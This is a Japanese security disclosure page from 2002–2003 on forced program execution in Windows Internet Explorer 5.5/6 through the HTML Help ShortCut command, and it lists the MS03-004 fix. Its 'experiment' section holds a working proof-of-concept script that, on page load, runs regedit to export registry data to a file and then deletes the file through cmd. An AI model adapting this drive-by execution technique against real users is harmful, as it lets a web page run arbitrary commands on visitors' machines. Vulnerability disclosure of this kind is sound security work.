COUNTERSince June 16, 2000
STUDIO KAMADAJapanese to English by Excite
戻る | サイトマップ | ホーム
Windows+IEにおけるプログラム強制実行の実験と対策(その5)2003-02-06(Thu) 19:30

●更新履歴
2002年12月6日 公開
2003年2月6日 修正プログラムの情報を追記

●対象
 Windows上のIE5.5(SP2を含む)またはIE6(SP1を除く)を利用しているユーザ。

 IE6 SP1の利用者はWindows+IEにおけるプログラム強制実行の実験と対策(その6)(STUDIO KAMADA)を参照してください。

●概要
 悪意のあるウェブページの作者は、そのページを閲覧したユーザのブラウザがWindows上のIE5.5(SP2を含む)またはIE6(SP1を除く)でインターネットゾーンの「アクティブスクリプト」が有効であるとき、本人の許可なくユーザのハードディスクの中にある任意のプログラムを任意のパラメータで実行することができる。任意のパラメータを指定できるので、コマンドインタプリタにDOSの内部コマンドを実行させることもできる。例えば、ユーザがコマンドインタプリタ用のバッチファイルでノンインタラクティブに削除することができるファイルはすべて、悪意のあるウェブページの作者も削除することができる。

●解説
 HTML HelpのActiveXコントロールにShortcutというコマンドがある。これはHTML Help内に任意のプログラムを任意のパラメータで実行するボタンを設けるときに使うコマンドだが、当然HTML Help内でなければ動作しない。しかし、セキュリティホールを使ってインターネットゾーンからマイコンピュータゾーンに入り込み、HTML Help内にShortcutコマンドを埋め込んでClickメソッドを実行することで、インターネットゾーンから任意のプログラムを任意のパラメータで実行することができてしまう。その具体的な手順は2002年11月にAndreas Sandblad氏によって公開された。その使用例として示されたスクリプトでたまたま利用されていた穴は既に塞がれているが、アクティブスクリプトでゾーンをまたぐことのできる穴がすべて塞がるまでは同じ手順で任意のプログラムを任意のパラメータで実行することができる。

●動作条件
 以下の条件がすべて満たされている場合に動作する。
  インターネットゾーンのセキュリティの設定
    「アクティブスクリプト」:有効にする
  マイコンピュータゾーンのセキュリティの設定
    「ActiveXコントロールとプラグインの実行」:有効にする
    「スクリプトを実行しても安全だとマークされているActiveXコントロールのスクリプトの実行」:有効にする

●修正プログラム
 2002年12月6日現在、この問題を完全に排除できる修正プログラムは公開されていない。
 以下の修正プログラムによって修正されます。
  Internet Explorer 用の累積的な修正プログラム (810847) (MS03-004)(Microsoft、2月6日)
  MS03-004 に関する情報 「MS03-004: Internet Explorer 用の累積的な修正プログラム (810847) 」(Microsoft、2月6日)

●動作を確認した環境
 Windows98SE+IE5.5SP2(Q324929を適用済み)

●実験
 C:\IETEST.TXTというファイルに使用中のマシンのアンインストール情報を書き出し、続いてそのファイルを削除する。途中でダイアログが表示されるのでその時点でファイルの有無を確認すること。なお、C:\IETEST.TXTというファイルが既に存在する場合は破壊されるので注意。

実験のスクリプト
<script language="JScript" type="text/javascript">
<!--
var cmdInterpreter=(navigator.appVersion.indexOf('NT')>=0?'cmd':'command');
function ampenc(s){
  return s.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/"/g,'&quot;');
}
function exec(i,c){
  var s='<object id="'+i+'" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">'+
        '<param name="Command" value="'+(c?'ShortCut':'Close')+'">';
  if(c)s+='<param name="Item1" value=",'+ampenc(c).replace(/ /,',')+'">';
  s+='<'+'/object>';
  a.createRange().parentElement().document.body.insertAdjacentHTML('beforeEnd',s);
  a.createRange().parentElement().document.getElementById(i).Click();
}
if(location.hash==''){
  showHelp('iexplore.chm');
  showHelp(location.href+'#1');
}else if(location.hash.length==2){
  open(location.href+'2','_blank','left=2000,top=2000,width=200,height=200');
}else{
  var a=opener.document.selection;
  opener.location.replace('mk:@MSITStore:c:');
  setTimeout('savereg()',2000);
}
function savereg(){
  exec('cmd1',
    'regedit /E C:\\IETEST.TXT "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall"');
  window.focus();
  alert('ここで C:\\IETEST.TXT にこのマシンのアンインストール情報が書き出されたかどうか確認してください');
  exec('del',cmdInterpreter+' /C DEL C:\\IETEST.TXT');
  window.focus();
  alert('ここで C:\\IETEST.TXT が削除されたかどうか確認してください');
  exec('done','');
  window.focus();
  alert('残っているヘルプウインドウは手動でクローズしてください');
  close();
}
// -->
</script>

実行

●対策
 前述の修正プログラムを適用する。

●関連リンク
  Internet Explorer 用の累積的な修正プログラム (810847) (MS03-004)(Microsoft、2月6日)
  MS03-004 に関する情報 「MS03-004: Internet Explorer 用の累積的な修正プログラム (810847) 」(Microsoft、2月6日)
  マイクロソフト サポート技術情報 - 811630 HTML Help Update to Limit Functionality When It Is Invoked with the Window.showHelp( ) Method(Microsoft、2月6日)

  Internet Explorer 用の累積的な修正プログラム (Q328970) (MS02-066)(Microsoft、11月21日)
  Internet Explorer 用の累積的な修正プログラム (324929) (MS02-068)(Microsoft、12月5日)
  GreyMagic Security Advisory GM#012-IE(GreyMagic、10月22日)
  How to execute programs with parameters in IE - Sandblad advisory #10(Bugtraq、11月6日)
  RE: How to execute programs with parameters in IE - Sandblad advisory #10(Bugtraq、11月7日)
  Unpatched IE security holes(PivX)
  IE累積パッチをめぐる議論で思うこと(ZDNN、11月28日)
  エンド・ユーザ向け ネットワーク・セキュリティ・ニュース(福島大学 篠田伸夫助教授)

  Windows+IEで任意のコマンドを任意のパラメータで実行する方法(STUDIO KAMADA、11月8日)
  Windows+IEで任意のコマンドを任意のパラメータで実行する方法(その後)(STUDIO KAMADA、11月29日)
  Windows+IEで任意のコマンドを任意のパラメータで実行する方法(続き)(STUDIO KAMADA、12月5日)

●他の実験のページ
  Opera 6.0 Beta 1におけるディレクトリ情報漏洩の実験
  Opera 6.0 Beta 1におけるCookie情報漏洩の実験
  Windows+IEにおけるローカルファイル内容漏洩の実験
  Windows+IEにおけるローカルファイル内容漏洩の実験(その2)
  Windows+IEにおけるCookie情報漏洩の実験
  Windows+IEにおけるスクリプト強制実行の実験
  Windows+IEにおけるローカルファイル内容漏洩の実験(その3)
  Windows+IEにおけるプログラムの実行の実験
  Windows+IEにおけるプログラム強制実行の実験と対策
  Netscape 6とMozillaにおけるローカルディスクの内容の漏洩の実験
  Windows+IEにおけるプログラム強制実行の実験と対策(その2)
  Windows+IEにおけるプログラム強制実行の実験と対策(その3)
  Windows+IEにおけるローカルファイル内容漏洩の実験(その4)
  Windows+IEにおけるローカルファイル内容漏洩の実験(その5)
  Windows+IEにおけるプログラム強制実行の実験と対策(その4)
  Windows+IEにおけるローカルファイル内容漏洩の実験(その6)
  Windows+IEにおけるプログラム強制実行の実験と対策(その5)
  Windows+IEにおけるプログラム強制実行の実験と対策(その6)

  日記に戻る

戻る | サイトマップ | ホーム
E-mail: m_kamada at nifty dot comMirrorCopyright (C) 1999-2004 M.Kamada All Rights Reserved.